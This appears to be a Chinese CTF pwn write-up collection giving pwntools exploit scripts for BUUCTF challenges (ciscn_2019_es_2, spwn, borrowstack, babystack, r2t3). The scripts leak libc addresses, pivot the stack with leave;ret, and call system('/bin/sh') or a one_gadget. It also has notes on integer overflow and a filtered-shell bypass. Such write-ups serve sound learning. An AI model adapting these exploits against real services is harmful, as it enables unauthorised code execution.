exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *from LibcSearcher import *context.log_level = 'debug' p = remote("node3.buuoj.cn" ,26218 ) payload = '2jctf_pa5sw0rd' + '\x00' *58 + p64(0x000000000400E88 ) p.sendlineafter('Please enter username: ' ,'admin' ) p.sendlineafter('Please enter password: ' ,payload) p.interactive()
栈迁移 leave; retn
构造 payload 的时候把 target_addr 放在 ebp 的位置上,leave ; rent 放在返回地址上。
执行 pop ebp 后,ebp就指向了 target_addr,并且 esp 减一个单位,esp 指向 返回地址。
_ciscn_2019_es_2 第一步:是把一个与ebp有关的地址泄漏出来,可以通过栈的填充做到
第二步:找到一个ebp与泄漏地址的偏移距离
第三步:构造fake_stack
fake_stack:
偏移距离:
break在printf处
距离为0x10
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *from LibcSearcher import *p = remote('node3.buuoj.cn' ,25520 ) context.log_level='debug' sys_addr = 0x08048400 leave_ret = 0x080485FD payload = 'a' *0x20 +'b' *8 p.send(payload) p.recvuntil('bbbbbbbb' ) ebp = u32(p.recv(4 )) print (hex (ebp))payload1 = ('aaaa' + p32(sys_addr) + 'bbbb' + p32(ebp-0x28 ) + '/bin/sh\x00' ) payload1 = payload1.ljust(0x28 ,'a' ) payload1 += p32(ebp-0x28 -0x10 ) + p32(leave_ret) p.sendline(payload1) p.interactive()
buu_spwn 32bit程序
看ida
汇编中发现 leave retn
leave retn:
1 2 leave ==> mov esp, ebp; pop ebp; retn ==> pop eip
其中pop eip相当于将栈顶数据给eip,由于ret返回的是栈顶数据,而栈顶地址是由esp的值决定的,esp的值,从leave可以得出是由ebp决定的。所以我们可以通过覆盖ebp的值来控制ret返回地址。两次leave ret即可控制esp为我们想要的地址。由于有pop ebp,会使esp-4(64位-8),将ebp 覆盖为想要调整的位置-4(64位-8)即可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *from LibcSearcher import *p=remote('node3.buuoj.cn' ,26070 ) elf=ELF('./spwn' ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main_addr=elf.symbols['main' ] bss_addr=0x0804A300 leave_ret=0x08048511 payload=p32(write_plt)+p32(main_addr)+p32(1 )+p32(write_got)+p32(4 ) p.recvuntil("What is your name?" ) p.send(payload) payload1='a' *0x18 +p32(bss_addr-4 )+p32(leave_ret) p.recvuntil("What do you want to say?" ) p.send(payload1) write_addr=u32(p.recv(4 )) print (hex (write_addr))libc=LibcSearcher('write' ,write_addr) libc_base=write_addr-libc.dump('write' ) sys_addr=libc_base+libc.dump('system' ) bin_addr=libc_base+libc.dump('str_bin_sh' ) p.recvuntil("What is your name?" ) payload=p32(sys_addr)+'aaaa' +p32(bin_addr) p.send(payload) p.recvuntil("What do you want to say?" ) p.send(payload1) p.interactive()
gyctf_2020_borrowstack IDA
仅溢出0x10字节,无法构造ROP。
程序还给了bss段,可读写
构造 fake stack
程序中bss段与它上方的got表字段比较近,当rop段返回到main函数的时候会 sub rsp, 60h ,有可能会覆盖掉 got 表导致程序报错,所以需要填充字段
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from LibcSearcher import *from struct import packimport time, sys, base64context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 2 if debug == 1 : p = process('./gyctf_2020_borrowstack' ) if debug == 2 : p = remote('node3.buuoj.cn' ,29811 ) if debug == 3 : p = remote('127.0.0.1' ,12345 ) elf = ELF('./gyctf_2020_borrowstack' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main_addr = elf.symbols['main' ] pop_rdi = 0x00400703 bank_addr = 0x00601080 leave_retn = 0x0400699 ret = 0x4004c9 payload = 'A' *0x60 + p64(bank_addr) + p64(leave_retn) p.sendafter('me what you want\n' ,payload) payload2 = p64(ret)*20 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) p.sendafter('now!' ,payload2) print (p.recvline())puts_addr = u64(p.recv(6 ).ljust(8 ,'\x00' )) print ('puts_addr ---> ' ,hex (puts_addr))libc_base = puts_addr - 0x06f690 onegadget = libc_base + 0x4526a payload3 = 'A' * (0x68 ) + p64(onegadget) p.sendafter('me what you want\n' ,payload3) p.sendafter('now!' ,'a' ) p.interactive()
ciscn_s_4 IDA
exp: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from pwn import *from LibcSearcher import *import time, sys, base64context.os = 'linux' context.arch = 'i386' context.log_level = 'debug' debug = 1 if debug == 1 : p = process('./ciscn_s_4' ) if debug == 2 : p = remote('node4.buuoj.cn' ,29437 ) if debug == 3 : p = remote('127.0.0.1' ,12345 ) elf = ELF('./ciscn_s_4' ) leave = 0x80485FD system_plt = 0x8048400 p.recvuntil('name?\n' ) payload = 'a' *0x24 + 'b' *4 p.send(payload) p.recvuntil('bbbb' ) ebp = u32(p.recv(4 )) buf = ebp - 0x38 print hex (ebp)payload = p32(system_plt) + p32(0 ) + p32(buf+12 ) + '/bin/sh\x00' payload = payload.ljust(0x28 ,'\x00' ) payload += p32(buf-4 ) + p32(leave) p.send(payload) p.interactive()
actf_2019_babystack
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *from LibcSearcher import *import time, sys, base64context.os = 'linux' context.arch = 'amd64' context.log_level = 'debug' debug = 3 if debug == 1 : p = process('./ACTF_2019_babystack' ) if debug == 2 : p = remote('node4.buuoj.cn' ,29093 ) if debug == 3 : p = remote('127.0.0.1' ,23946 ) elf = ELF('./ACTF_2019_babystack' ) puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] pop_rdi = 0x400ad3 main_addr = 0x0000000004008F6 leave_retn_addr = 0x000000000400A18 p.sendlineafter('>' ,str (0xe0 )) p.recvuntil('saved at 0x' ) stack_addr = int (p.recv(12 ),16 ) log.success('stack_addr_1: ' +hex (stack_addr)) payload = 'a' *8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) payload = payload.ljust(0xd0 ,'a' ) payload += p64(stack_addr) + p64(leave_retn_addr) p.sendafter('>' ,payload) puts_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) log.success('puts_addr: ' +hex (puts_addr)) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) one_gadget = libc_base + 0x4f2c5 p.sendlineafter('>' ,str (0xe0 )) p.recvuntil('saved at 0x' ) stack_addr = int (p.recv(12 ),16 ) log.success('stack_addr_2: ' +hex (stack_addr)) payload = 'a' *8 + p64(one_gadget) payload = payload.ljust(0xd0 ,'a' ) payload += p64(stack_addr) + p64(leave_retn_addr) p.sendafter('>' ,payload) p.interactive()
整形溢出 [BJDCTF 2nd]r2t3 来自buuctf
先看ida
buf缓冲区大小为408h,而read读取大小为400h,比buf要小,所以不能进行简单的缓冲区栈溢出。
再看name_check函数,v3是int8类型的变量,1111 1111 = 0xFF = 255。当0xFF +1的时侯,变量发生整形溢出,0x100 = 256 此时v3的数值为零(0000 0000),但是这只是显示了一个字节,其实再计算机里面会溢出,前面会进行进位操作变成 1 0000 0000。
同时还要满足3< v3 <8 的条件,这时候可以确定溢出数值是在 0x104~0x107 中
后面的strcpy()函数将s复制给dest,看到dest的偏移为0x11+4
程序中给出了/bin/sh的地址
exp:
1 2 3 4 5 6 7 8 9 from pwn import *r=remote('node3.buuoj.cn' ,26213 ) sys_addr = 0x08048594 payload = 'a' * (0x15 ) + p32(sys_addr) + 'a' * (0x104 -0x19 ) print (len (payload))r.recvuntil('name:\n' ) r.sendline(payload) r.interactive()
Int8, 等于Byte, 占1个字节.
Int16, 等于short, 占2个字节. -32768 32767
Int32, 等于int, 占4个字节. -2147483648 2147483647
Int64, 等于long, 占8个字节. -9223372036854775808 9223372036854775807
这样, 看起来比short,int,long更加直观些!
另外, 还有一个Byte, 它等于byte, 0 - 255.
所以说这里的v3是占一个字节的,一个字节是由8位二进制决定的。
例如:0000 0000 就是一个字节,代表0,1111 1111 也是一个字节,代表255.
命令执行 [BJDCTF 2nd]test 参考:https://blog.csdn.net/qin9800/article/details/105058058
用 ssh -p 28572 ctf@node3.buuoj.cn
链接
发现三个文件,flag文件无法cat
看一下c文件
发现是过滤命令
可以通过
ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"
查看还有什么命令是可以用的
1 2 -v 或 --revert-match : 显示不包含匹配文本的所有行。 -E 或 --extended-regexp : 将样式为延伸的正则表达式来使用。
可以用 od 和 x86_64
Linux od命令用于输出文件内容。
od指令会读取所给予的文件的内容,并将其内容以八进制字码呈现出来。
x86_64
一些其他 一些 Stack 漏洞点
signed int类型,4字节,最大输入为2147483647,超出则为负数,若下面是unsigned int类型的数据作为read的n,则能越过前面类似if ( (signed int)nbytes > 10 )的检查
strcpy,字符串复制,遇到 ‘\x00’ 停止
strcat,字符串拼接,遇到 ‘\x00’ 停止
strlen,计算 ascii 字符串长度的函数,这个函数在计算字符串长度时是不把结束符 '\x00'
计算在内的
stcpy,在复制字符串时会拷贝结束符 '\x00'
,能造成 NULL byte off-by-one
一些汇编 寄存器
RIP(PC)
存放下一条指令的偏移地址
RSP
存放当前栈帧的栈顶偏移地址
低地址的一端
RBP
存放当前栈帧的栈底偏移地址
高地址的一端
与返回地址(return address)相邻
RAX
存放函数返回值
RCX
存放累加器的结果
RDI
存放第一个参数
RSI
存放第二个参数
64位程序中函数的前6个参数使用寄存器进行存储:rdi、rsi、rdx、rcx、r8、r9
汇编指令
指令
中文名
格式
解释
备注
push
进栈
pop
出栈
LEA(load effective address)
取有效地址指令
LEA REC,OPRD
把操作数oprd的有效地址传送到操作数rec,源操作数oprd必须是一个存储器操作数,目的操作数rec必须是一个16位或32位的通用寄存器
与mov指令的区别:mov:移动地址中的值lea:将地址进行移动
CMP
比较
CMP DEST,SRC
根据dest-src的差影响各状态标志寄存器
不把dest-src的结果送入dest
JMP
无条件段内直接转移指令
JMP LABEL
使控制无条件地转移到标号为label的位置
无条件转移指令本身不影响标志
JG
大于转移
条件:ZF=0 & SF=OF
有符号数
JL
小于转移
条件:SF!=OF